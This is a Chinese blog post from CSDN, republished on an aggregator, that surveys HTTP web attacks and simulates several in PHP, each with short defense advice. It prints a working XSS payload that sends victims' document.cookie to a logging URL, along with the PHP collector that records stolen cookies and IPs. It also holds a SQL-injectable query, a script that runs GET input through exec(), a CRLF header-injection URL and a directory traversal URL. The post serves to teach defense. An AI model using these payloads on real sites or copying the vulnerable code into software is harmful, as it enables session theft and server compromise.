http网络安全

标签: http 网络安全 | 发表时间:2016-11-04 18:28 | 作者:cabing2005
出处:http://blog.csdn.net

网络安全简单总结

每天都会用到http协议,也听说http协议的安全的重要性,却一直很少真的去模拟攻击。纸上谈兵久矣。特意通过一篇博客整理下http可能遇到的安全问题,用脚本语言php去模拟和处理。

博文目录

1 http为什么会存在安全问题

  http是没有状态和加密的协议,如果不使用(ssl)https协议,很多信息都是透明的,传输的数据很容易被捕获。容易泄密。

2 常见的安全问题分类

  2.1 转义不安全
2.1 设置或者设计上的缺陷引发的
2.1 会话
2.1 安全漏洞

3 常见问题和处理

  3.1 跨站脚本攻击
3.2 SQL注入
3.3 OS命令注入
3.4 http首部注入攻击
3.5 目录遍历攻击
3.6 远程文件包含漏洞
3.7 强制浏览器
3.8 不正确的错误消息处理
3.9 开发重定向
3.10 会话劫持
3.11 会话固定攻击
3.12 跨站点请求伪造
3.14 密码破解
3.15 点击劫持
3.16 dos攻击
3.17 后门程序

4 跨站点脚本攻击

  跨站点脚本(XSS[cross-site scripting])是当前web应用中最危险和最普遍的漏洞之一。

这种攻击主要是通过在浏览器上注入javascript代码

先说说攻击原理。
我的理解是有两个条件:

1 发布带有敏感信息的脚本到目标网站的留言板或者其他的页面

  <script>document.write('&lt;img src="http://other.program.php/php-library/http_security/tt/stealcookies.php?cookie='+document.cookie+'" width=0 height=0 border=0 /&gt;');</script>;

通过php脚本捕捉数据

  <?php
$ua = $_SERVER["HTTP_USER_AGENT"];
$client_ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER["REQUEST_METHOD"];
$referer = $_SERVER["HTTP_REFERER"];
$querystring = $_SERVER["QUERY_STRING"];
$fp = fopen(__DIR__."/cookie.txt","a+");
$str= "time: ".date("Y-m-d H:i:s")." IP: $client_ip |Useragent: $ua | Method: $method | REF: $referer | Cookie: $querystring \n";
fwrite($fp,$str);
fclose($fp);

2 如果有人访问这些带有xss捕获脚本会获取用户信息。

  当然由于cookie禁止跨域访问。这只会窃取对应的网站信息。
例如假如我在微博上发了一条带xss(当然微博(weibo.cm)有防御机制啦) , 如果有倒霉蛋访问了这个页面。我就会获取这个倒霉蛋访问微博时的一系列cookie,ua等等浏览器信息,但是我没法获取百度(baidu.com)的信息了。

防御:

  检测所有可能出现xss的地方
过滤掉一些有害的输入最好能建立一个xss攻击池子,只要是在池子里的都过滤掉。

5 SQL注入问题

本地提供一个查询的链接

  http://other.program.php/php-library/http_security/sql_inject/sql_inject.php?id=1 or 1=1
  php脚本
<?php
require_once 'MYsqlHandle.php';

$db_config = array("host"=&gt;"127.0.0.1",'port'=&gt;'3306',"user"=&gt;"root","password"=&gt;"123456","db"=&gt;"test");
$id = isset($_GET["id"])?$_GET["id"]:"";


if(!empty($id)){
    $handle_obj = new MysqlHandle($db_config);
    $table_name = "country";
    $sql = "select * from $table_name where id=$id ";
    $ret = $handle_obj-&gt;fetchRows($sql);
    echo "&lt;pre&gt;";
    print_r($ret);
}else {
    echo "no id";
}

我本来是要获取一条信息的,结果获取了太多信息

当然我也可以使用unio探索你的表的结构。获取其他表的信息

防御

  对输入进行处理,字符串转义,数字的强制转换

6 os命令注入

os的危险脚本例子

  <?php
$cmd = isset($_GET["cmd"])?$_GET["cmd"]:"";

if(!empty($cmd)){
    $ret = exec($cmd);
    echo $ret;
}else{
    echo "hehe";
}

这个主要是针对操作系统命令的。最好是能够禁止代码执行操作系统命令 像这样

exec();
如果我通过接收参数执行系统命令就会暴漏操作系统的信息

防御

  交互中不要使用exec之类的函数
对web代码禁用exec之类的命令

7 http首部注入攻击

危害

  设置cookie
任意重定向
截断http协议

比较有名的是CRLF注入攻击

这种情况主要

  CRLF就是http的换行符\r\n转义后就是%0D%0A
设置cookie http://other.program.php/php-library/http_security/head_inject/head_inject.php?cate_id=101%0D%0ASet-Cookie:+user_name=123456789

大致原理就是这样子的

函数提示:Header may not contain more than a single header,
自动帮你拦截了这种简单的攻击

php脚本1

  <?php
     $_GET['lang'];
header("Location: http://other.program.php/php-library/http_security/head_inject/head_inject2.php?lang=$lang");

php脚本2

  <pre class="lang:default decode:true ">$lang = $_GET['lang'];
echo $lang;

8 目录遍历攻击与文件包含攻击

官方点的说明 攻击人员通过目录便利攻击可以获取系统文件及服务器的配置文件等等。

其实目录攻击的防范点不外两种

  1 对服务器进行权限控制
2 过滤外部的输入

通过用户传递的参数去加载对应的文件可能会泄露服务器的基本信息。

比如我多实验几次就可以试验得到各种信息。这是有安全漏洞的。

http://other.program.php/php-library/http_security/http_dir_inject/dir1.php?file=../../README.md

9 服务端错误规避

包括

  1 强制浏览器。。强制浏览器流量那些非公开的文件。比如服务器根目录下有文件xxx.jsp 我有一个文件xxx_bak.txt用户就可以直接查看备份文件
2 不正确的错误信息处理。不要透漏给用户过多的信息,给不法分子可乘之机。
脚本错误信息
web服务器信息处理
数据库错误处理
3 恶意重定向。网站不要开启恶意重定向功能。比如网络钓鱼可能就采用这种策略。比如我可以做一个和京东一模一样的网站,诱惑你登陆等。

10 会话劫持和会话固定攻击

  原理主要是利用tcp协议的特性,
比如我们通过路由器或者通过我的机器去访问百度,我们可以抓取tcp包模拟你的请求,然后干各种你登陆后才能干的事情。
针对应用层的http协议,我们可以根据上面的xss攻击或者其他攻击获取用户的sessionid,然后干各种你登陆后才能干的事情。

百度百科详细介绍

  http://baike.baidu.com/link?url=Ndtu2Rd97fJ6AB_Pt8mNzKIBZkxcCkbReHHaZOfMp-bNe02wyGPQt2cQmqeZyTEc7Ucy7_2z8LCRFCh_Dz76Pq

主要分两种情况:

  1 中间人攻击
2 注射式攻击

回话固定攻击:我的理解就是,有人伪造一个站点获取了你的cookie信息,然后登陆你访问的网站,然后干坏事

11 跨站点请求伪造
我觉得跨站点请求伪造可能造成会话固定攻击

防御

  1 利用referer判断,
2 在请求中添加 token并验证,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中,
3 可以在服务器端生成一个随机码,然后放在form的hidden元素中,form提交的时候在服务器端检查。

12 密码破解 点击劫持 dos攻击 后门程序

  密码设置的太简单被暴力破解,所有很多网站有验证码或者是单位时间内限制登录次数
点击劫持 恶心的在网页上层覆盖一层透明的iframe。
dos攻击 最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。开个玩笑,百度是最大的dos网站哈哈。

后门程序 程序猿在程序中有意或者无意的留有后门,
作者:cabing2005 发表于2016/11/4 18:28:37 原文链接
阅读:0 评论:0 查看评论

相关 [http 网络安全] 推荐:

http网络安全

- - CSDN博客推荐文章
每天都会用到http协议,也听说http协议的安全的重要性,却一直很少真的去模拟攻击. 特意通过一篇博客整理下http可能遇到的安全问题,用脚本语言php去模拟和处理. 1 http为什么会存在安全问题. http是没有状态和加密的协议,如果不使用(ssl)https协议,很多信息都是透明的,传输的数据很容易被捕获.

网络安全

- - CSDN博客系统运维推荐文章
1、防止入侵者对主机进行ping探测,可以禁止Linux主机对ICMP包的回应.  iptables 防火墙上禁止ICMP应答.  关闭不必要的端口,时常检查网络端口情况.  nmap  可以扫描端口.  关闭不必要的服务和端口.  为网络服务指定非标准的端口.  开启防火墙,只允许授权用户访问相应的服务端口.

HTTP Headers 入门

- johnny - Time Machine
非常感谢 @ytzong 同学在twitter上推荐这篇文章,原文在此. 本文系统的对HTTP Headers进行了简明易懂的阐述,我仅稍作笔记. 什么是HTTP Headers. HTTP是“Hypertext Transfer Protocol”的所写,整个万维网都在使用这种协议,几乎你在浏览器里看到的大部分内容都是通过http协议来传输的,比如这篇文章.

HTTP基础

- - ITeye博客
HTTP的结构主要包括下面几个要点:. HTTP的版本主要有1.0,1.1 和更高版本.    1.1 及以上版本允许在一个TCP连接上传送多个HTTP协议,1.0能 .    1.1 及以上版本多个请求和响应可以重叠,1.0不能.    1.1 增加了很多的请求头和响应头.     一个请求行,若干小心头,以及实体内容,其中的一些消息头和实体内容是可选的,消息头和实体内容需要空行隔开.

HTTP Header 详解

- - 博客园_Ruby's Louvre
HTTP(HyperTextTransferProtocol)即超文本传输协议,目前网页传输的的通用协议. HTTP协议采用了请求/响应模型,浏览器或其他客户端发出请求,服务器给与响应. 就整个网络资源传输而言,包括message-header和message-body两部分. 首先传递message- header,即 http header消息.

网络安全-常见网络安全攻击

- - 互联网 - ITeye博客
主要介绍比较常见的3种网络安全攻击手段,分别是:跨站脚本攻击(XSS)攻击、跨站请求伪造(CSRF)攻击、SQL注入攻击. 1、XSS攻击:应该算是最普遍的应用程序层攻击之一,攻击的目的是盗走客户端 cookies,或者任何可以用于在 Web 站点确定客户身份的其他敏感信息. 用这三种方式可以保护站点不受 XSS 攻击:.

8个网络安全开源框架

- - HTML5资源教程
能帮助构建、操作安全系统的开源项目多到数不清,尤其是随着对工具的安全监控和事件反应的要求不断加强的情况下,开源安全软件不得不提高自己的性能. 下面为你介绍10款开源的安全软件. Bro 是一款很强大的框架,用于网络分析和安全监控,它和常见的IDS有所不同. 与通用的网络传输分析工具相比它侧重于网络安全监控和提供一个完整的平台化工具.

HTTP负载测试

- - 博客 - 伯乐在线
英文原文: ON HTTP LOAD TESTING 来源: oschina. 有很多人在谈论HTTP服务器软件的性能测试,也许是因为现在有太多的服务器选择. 这很好,但是我看到有人很多基本相同的问题,使得测试结果的推论值得怀疑. 在日常工作中花费了很多时间在高性能代理缓存和源站性能测试方面之后,这里有我认为比较重要的一些方面来分享.

HTTP断点续传

- - CSDN博客互联网推荐文章
要实现断点续传的功能,通常都需要客户端记录下当前的下载进度,并在需要续传的时候通知服务端本次需要下载的内容片段. HTTP1.1协议(RFC2616)中定义了断点续传相关的HTTP头 Range和Content-Range字段,一个最简单的断点续传实现大概如下:.   1.客户端下载一个1024K的文件,已经下载了其中512K.

http-kit 1.2 发布

- - 开源中国社区最新新闻
Http-kit 是主要由Java 和Clojure开发,为Clojure定制的零依赖的Http lib,包括异步的高性能HTTP Server 和 HTTP Client. 在普通的PC上进行性能测试时,http-kit server 每秒能处理数万个请求. 修复处理文件上传时,content-type没能正确处理.